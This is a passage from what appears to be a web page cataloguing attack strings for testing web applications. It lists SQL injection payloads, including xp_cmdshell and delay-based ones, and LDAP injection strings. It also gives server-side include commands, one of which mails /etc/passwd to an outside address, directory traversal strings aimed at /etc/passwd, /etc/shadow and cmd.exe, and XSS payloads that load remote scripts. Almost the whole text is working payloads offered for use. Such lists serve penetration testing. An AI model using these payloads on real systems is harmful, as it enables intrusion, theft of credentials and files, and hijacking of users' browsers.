/nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A 